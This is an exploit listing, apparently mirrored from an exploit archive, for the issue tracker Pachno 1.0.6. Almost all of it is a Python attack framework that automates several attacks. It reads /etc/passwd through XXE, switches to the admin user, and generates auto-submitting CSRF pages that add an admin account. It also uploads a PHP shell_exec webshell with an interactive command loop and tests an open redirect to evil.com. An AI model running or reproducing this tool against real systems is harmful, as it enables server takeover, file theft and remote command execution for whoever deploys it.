Share
## https://sploitus.com/exploit?id=PACKETSTORM:225405
==================================================================================================================================
    | # Title     : Pachno 1.0.6 Multi-Vulnerability Exploit                                                                         |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://github.com/pachno/pachno                                                                                 |
    ==================================================================================================================================
    
    [+] Summary    : This Python framework targets multiple security weaknesses in Pachno 1.0.6 and combines several attack paths into a single automation tool
    
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import requests
    import sys
    import re
    import time
    import json
    import hashlib
    import os
    import argparse
    from urllib.parse import urljoin, urlparse
    from bs4 import BeautifulSoup
    import random
    import string
    
    class PachnoExploit:
        def __init__(self, host, username, password):
            self.host = host.rstrip('/')
            self.username = username
            self.password = password
            self.session = requests.Session()
            self.session.headers.update({
                'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'
            })
            self.authenticated = False
            self.user_id = None
            self.csrf_token = None
            
        def login(self):
            """Authenticate to Pachno"""
            print(f"[*] Logging in as {self.username}...")
            
            login_url = urljoin(self.host, '/login')
            resp = self.session.get(login_url)
            if resp.status_code != 200:
                print(f"[-] Failed to reach login page: {resp.status_code}")
                return False
            login_data = {
                'username': self.username,
                'password': self.password,
                'rememberme': '1'
            }
            
            resp = self.session.post(login_url, data=login_data, allow_redirects=False)
            if resp.status_code in [302, 303] or 'username' in str(self.session.cookies):
                self.authenticated = True
                print(f"[+] Login successful!")
                resp = self.session.get(urljoin(self.host, '/'))
                soup = BeautifulSoup(resp.text, 'html.parser')
                user_link = soup.find('a', href=re.compile(r'/user/\d+'))
                if user_link:
                    match = re.search(r'/user/(\d+)', user_link.get('href', ''))
                    if match:
                        self.user_id = int(match.group(1))
                        print(f"[*] User ID: {self.user_id}")
                csrf_input = soup.find('input', {'name': 'csrf_token'})
                if csrf_input:
                    self.csrf_token = csrf_input.get('value')
                    print(f"[*] CSRF token: {self.csrf_token[:20]}...")
                
                return True
            else:
                print(f"[-] Login failed!")
                return False
        
        def xxe_attack(self, wiki_page_id, file_to_read='/etc/passwd'):
            """XML External Entity attack via wiki table syntax"""
            if not self.authenticated:
                print("[-] Must login first!")
                return None
                
            print(f"[*] Attempting XXE attack on wiki page {wiki_page_id}")
            xxe_payload = f'''{{|<!DOCTYPE x [<!ENTITY xxe SYSTEM "file://{file_to_read}">]> class="wikitable &xxe;"
    |-
    | ZSL
    |}}'''
            
            edit_url = urljoin(self.host, f'/docs/r/{wiki_page_id}/edit')
            
            data = {
                'article_content': xxe_payload,
                'csrf_token': self.csrf_token if self.csrf_token else ''
            }
            
            resp = self.session.post(edit_url, data=data)
            
            if resp.status_code == 200:
                view_url = urljoin(self.host, f'/docs/{wiki_page_id}')
                resp = self.session.get(view_url)
                pattern = r'class="wikitable\s+([^"]*)"'
                matches = re.findall(pattern, resp.text)
                
                if matches:
                    print(f"[+] XXE successful! File contents:")
                    print("-" * 50)
                    print(matches[0])
                    print("-" * 50)
                    return matches[0]
                else:
                    print("[-] Could not extract file contents")
                    return None
            else:
                print(f"[-] Failed to edit wiki page: {resp.status_code}")
                return None
        
        def privilege_escalation(self, target_user_id=1):
            """Vertical privilege escalation via runSwitchUser()"""
            if not self.authenticated:
                print("[-] Must login first!")
                return False
                
            print(f"[*] Attempting privilege escalation to user ID {target_user_id}")
            self.session.cookies.set('original_username', 'attacker')
            if not self.csrf_token:
                resp = self.session.get(urljoin(self.host, '/'))
                soup = BeautifulSoup(resp.text, 'html.parser')
                csrf_input = soup.find('input', {'name': 'csrf_token'})
                if csrf_input:
                    self.csrf_token = csrf_input.get('value')
    
            switch_url = urljoin(self.host, f'/userswitch/switch/{target_user_id}/{self.csrf_token or "dummy"}')
            resp = self.session.post(switch_url, allow_redirects=False)
            check_url = urljoin(self.host, '/configure')
            resp = self.session.get(check_url)
            
            if resp.status_code == 200 and ('admin' in resp.text.lower() or 'configuration' in resp.text.lower()):
                print(f"[+] Privilege escalation successful! Now admin with user ID {target_user_id}")
    
                if 'Welcome to the configuration' in resp.text or 'General settings' in resp.text:
                    print("[+] Confirmed admin access to configuration panel")
                
                return True
            else:
                print("[-] Privilege escalation failed")
                return False
        
        def csrf_generate_payload(self, action_type, target_url=None, params=None):
            """Generate CSRF attack HTML payload"""
            
            csrf_templates = {
                'add_admin': {
                    'url': '/configure/users',
                    'params': {
                        'username': 'csrf_user',
                        'password': 'csrf123',
                        'password_repeat': 'csrf123',
                        'email': 'csrf@example.com',
                        'realname': 'CSRF Attack',
                        'group_id': '1'
                    }
                },
                'comment_injection': {
                    'url': '/project/issues/17/comment',
                    'params': {
                        'comment_body': '<script>alert("CSRF XSS")</script>',
                        'comment_applies_type': '1',
                        'comment_applies_id': '17',
                        'comment_module': 'core',
                        'comment_visibility': '1',
                        'comment_body_syntax': '0'
                    }
                },
                'logout': {
                    'url': '/logout',
                    'params': {}
                }
            }
            
            if action_type not in csrf_templates:
                print(f"[-] Unknown CSRF action: {action_type}")
                return None
                
            template = csrf_templates[action_type]
            url = target_url or urljoin(self.host, template['url'])
            post_params = params or template['params']
            
            html = f'''<!DOCTYPE html>
    <html>
    <head><title>CSRF PoC</title></head>
    <body onload="document.forms[0].submit();">
        <form method="POST" action="{url}">
    '''
            
            for key, value in post_params.items():
                html += f'        <input type="hidden" name="{key}" value="{value}" />\n'
            
            html += '''    </form>
        <p>Loading...</p>
    </body>
    </html>'''
            
            return html
        
        def upload_webshell(self):
            """Upload PHP webshell via unrestricted file upload"""
            if not self.authenticated:
                print("[-] Must login first!")
                return None
                
            print("[*] Attempting to upload webshell...")
            webshell = '''<?php
    if(isset($_REQUEST['cmd'])) {
        $cmd = ($_REQUEST['cmd']);
        echo "<pre>" . shell_exec($cmd) . "</pre>";
    } else {
        echo "Pachno Webshell - use ?cmd=command";
    }
    ?>'''
    
            extensions = ['.php5', '.phtml', '.php4', '.php3', '.php']
            
            for ext in extensions:
                filename = f"shell_{int(time.time())}_{random.randint(1000,9999)}{ext}"
                
                files = {
                    'file': (filename, webshell, 'application/x-php')
                }
                
                upload_url = urljoin(self.host, '/uploadfile')
                
                try:
                    resp = self.session.post(upload_url, files=files)
    
                    if resp.status_code in [200, 201, 204] or 'uploaded' in resp.text.lower():
                        print(f"[+] Webshell uploaded as: {filename}")
    
                        possible_paths = [
                            f"/public/{filename}",
                            f"/files/{filename}",
                            f"/uploads/{filename}",
                            f"/{filename}"
                        ]
                        
                        for path in possible_paths:
                            test_url = urljoin(self.host, path)
                            test_resp = self.session.get(test_url, params={'cmd': 'echo test'})
                            if test_resp.status_code == 200 and 'test' in test_resp.text:
                                print(f"[+] Webshell accessible at: {test_url}")
                                return test_url
                        match = re.search(r'(/public/[^\s"\']+\.php[0-9]?)', resp.text)
                        if match:
                            shell_url = urljoin(self.host, match.group(1))
                            print(f"[+] Webshell likely at: {shell_url}")
                            return shell_url
                        
                        return None
                        
                except Exception as e:
                    continue
            
            print("[-] Failed to upload webshell")
            return None
        
        def open_redirect(self, redirect_url="https://evil.com"):
            """Test open redirection vulnerability"""
            print(f"[*] Testing open redirection to: {redirect_url}")
            
            login_url = urljoin(self.host, '/login')
            params = {'return_to': redirect_url}
            
            resp = self.session.get(login_url, params=params, allow_redirects=False)
            
            if resp.status_code in [302, 303] and redirect_url in resp.headers.get('Location', ''):
                print(f"[+] Open redirection confirmed!")
                print(f"[*] Redirects to: {resp.headers.get('Location')}")
                return True
            else:
                print("[-] No open redirection detected")
                return False
        
        def deserialization_rce(self, gadget_chain="SwiftMailer/FW1", command="id"):
            """Exploit FileCache deserialization vulnerability"""
            print("[*] Attempting deserialization RCE via cache poisoning")
    
            test_payload = 'O:1:"R":1:{s:1:"r";R:1;}'
            
            cache_files = [
                '_configuration-2142a.cache',
                '_routing.cache',
                '_i18n.cache'
            ]
            
            for cache_file in cache_files:
                cache_path = os.path.join('/var/www/html/cache', cache_file)
                print(f"[*] Checking cache file: {cache_file}")       
            print("[!] Deserialization RCE requires additional exploit chain")
            print("[!] Use with XXE or file upload to write to cache directory")
            
            return False
        
        def interactive_shell(self, shell_url):
            """Interactive shell via uploaded webshell"""
            if not shell_url:
                print("[-] No webshell URL provided")
                return
                
            print("\n[Interactive Webshell]")
            print("Type commands to execute, 'exit' to quit\n")
            
            while True:
                try:
                    cmd = input("pachno$ ").strip()
                    if cmd.lower() in ['exit', 'quit']:
                        break
                    if not cmd:
                        continue
                        
                    resp = self.session.get(shell_url, params={'cmd': cmd})
                    if resp.status_code == 200:
                        print(resp.text)
                    else:
                        print(f"[-] HTTP {resp.status_code}")
                        
                except KeyboardInterrupt:
                    break
                except Exception as e:
                    print(f"[-] Error: {e}")
        
        def exploit_all(self):
            """Run all exploits sequentially"""
            print("\n" + "="*60)
            print("Pachno 1.0.6 Multi-Exploit Framework")
            print("="*60)
            
            if not self.authenticated:
                if not self.login():
                    return
    
            print("\n[1/6] Testing XXE vulnerability...")
            self.xxe_attack('4', '/etc/passwd')
            print("\n[2/6] Testing privilege escalation...")
            self.privilege_escalation(1)
    
            print("\n[3/6] Generating CSRF payloads...")
            csrf_html = self.csrf_generate_payload('add_admin')
            if csrf_html:
                with open('pachno_csrf.html', 'w') as f:
                    f.write(csrf_html)
                print("[+] CSRF payload saved to pachno_csrf.html")
    
            print("\n[4/6] Attempting webshell upload...")
            shell_url = self.upload_webshell()
            print("\n[5/6] Testing open redirection...")
            self.open_redirect("https://evil.com")
            print("\n[6/6] Testing deserialization RCE...")
            self.deserialization_rce()
            if shell_url:
                self.interactive_shell(shell_url)
    
    def main():
        parser = argparse.ArgumentParser(
            description='Pachno 1.0.6 Multi-Vulnerability Exploit Framework',
            epilog='Examples:\n'
                   '  python %(prog)s -t http://127.0.0.1 -u admin -p admin\n'
                   '  python %(prog)s -t http://127.0.0.1 -u user -p pass --xxe 4\n'
                   '  python %(prog)s -t http://127.0.0.1 -u user -p pass --privesc\n'
                   '  python %(prog)s -t http://127.0.0.1 -u user -p pass --upload\n'
                   '  python %(prog)s -t http://127.0.0.1 -u user -p pass --csrf add_admin'
        )
        
        parser.add_argument('-t', '--target', required=True, help='Target URL (e.g., http://127.0.0.1)')
        parser.add_argument('-u', '--username', required=True, help='Username for authentication')
        parser.add_argument('-p', '--password', required=True, help='Password for authentication')
        parser.add_argument('--xxe', metavar='PAGE_ID', help='Test XXE on wiki page')
        parser.add_argument('--xxe-file', default='/etc/passwd', help='File to read via XXE')
        parser.add_argument('--privesc', action='store_true', help='Test privilege escalation')
        parser.add_argument('--privesc-target', type=int, default=1, help='Target user ID for privesc')
        parser.add_argument('--csrf', choices=['add_admin', 'comment_injection', 'logout'], 
                           help='Generate CSRF payload')
        parser.add_argument('--upload', action='store_true', help='Upload webshell')
        parser.add_argument('--redirect', help='Test open redirection to URL')
        parser.add_argument('--all', action='store_true', help='Run all exploits')
        
        args = parser.parse_args()
    
        exploit = PachnoExploit(args.target, args.username, args.password)
        if not exploit.login():
            sys.exit(1)
        if args.xxe:
            exploit.xxe_attack(args.xxe, args.xxe_file)
        
        if args.privesc:
            exploit.privilege_escalation(args.privesc_target)
        
        if args.csrf:
            html = exploit.csrf_generate_payload(args.csrf)
            if html:
                filename = f'pachno_csrf_{args.csrf}.html'
                with open(filename, 'w') as f:
                    f.write(html)
                print(f"[+] CSRF payload saved to {filename}")
        
        if args.upload:
            shell_url = exploit.upload_webshell()
            if shell_url:
                exploit.interactive_shell(shell_url)
        if args.redirect:
            exploit.open_redirect(args.redirect)
        if args.all:
            exploit.exploit_all()
        if not any([args.xxe, args.privesc, args.csrf, args.upload, args.redirect, args.all]):
            parser.print_help()
    
    if __name__ == "__main__":
        main()
    	
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================